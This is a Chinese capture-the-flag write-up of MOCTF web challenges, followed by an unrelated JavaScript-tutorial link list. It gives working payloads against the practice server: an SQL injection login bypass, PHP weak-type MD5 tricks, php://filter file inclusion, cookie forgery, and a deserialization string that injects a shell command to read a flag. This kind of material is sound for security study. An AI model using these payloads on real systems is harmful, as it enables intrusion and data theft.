MOCTF
web
一道水题
F12查看源码或访问
view-source:http://119.23.73.3:5001/web1/
还是水题
F12改前端限制,提交moctf
访问限制
burp抓包改
User-Agent:
为 NAIVE即可机器蛇
查看源码 view-source:http://119.23.73.3:5001/web4/ 发现注释下有<!--robots.txt-->,访问 访问/flag327a6c4304ad5938eaf0efb6cc3e53dc.php
PHP黑魔法
dirsearch扫描网站目录,/index.php~下有源码 利用php弱类型 == 在进行比较的时候,会先将字符串类型转化成相同,再比较 传入MD5后开头为0的值即可 payload:http://119.23.73.3:5001/web5/index.php?a=s878926199a&b=s155964671a
我想要钱
传入?money=1e88
登录就对了
万能密码登录 admin' or 1=1 -- +
看源码
文件包含
php伪协议直接读
payload:http://119.23.73.3:5001/web8/index.php?file=php://filter/convert.base64-encode/resource=flag.php
暴跳老板
抓包发送Dear=MyBoss 在response中有提示
flag在哪里
重定向,用burp抓包
脑洞访问/frogflag.php orz!!
美味的饼干
F12查看Cookie,base64解码,后查询md5出user
伪造admin的Cookie出flag
没时间解释了
条件竞争,用burp发包就行
死亡退出
拉开看源码
<?php show_source(__FILE__); $c="<?php exit;?>"; @$c.=$_POST['c']; @$filename=$_POST['file']; if(!isset($filename)) { file_put_contents('tmp.php', ''); } @file_put_contents($filename, $c); include('tmp.php'); ?>
P神的文章
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
将
<?php exit;?>
进行编码使他失效,可以用php伪协议,file可控、base64算法解码时是4个byte一组,所以在开头加一个字母
火眼金睛
##脚本 import requests import re url = 'http://119.23.73.3:5001/web10/' se = requests.session() html = re.findall("<textarea rows = '30' cols = '100'>(.*)</textarea>",se.get(url).text) result = re.findall("moc(.)f",str(html)) data = {'answer': len(result)} sult = se.post('http://119.23.73.3:5001/web10/work.php',data = data) print(sult.text)
unset
<?php highlight_file('index.php'); function waf($a){ foreach($a as $key => $value){ if(preg_match('/flag/i',$key)){ exit('are you a hacker'); } } } foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } } if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET['flag'])){ if($_GET['flag'] === $_GET['daiker']){ exit('error'); } if(md5($_GET['flag'] ) == md5($_GET['daiker'])){ include($_GET['file']); } } ?>
看到
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
超全局变量覆盖,没看懂,。。。。。。post和get同时发东西,以后补
PUGU
点击学校,再点击叫我校霸,能下载到源码,访问class.php.bak得到源码
php反序列化实现任意命令执行
payload:
http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}
原文地址:https://www.cnblogs.com/thenbz3/p/11524068.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法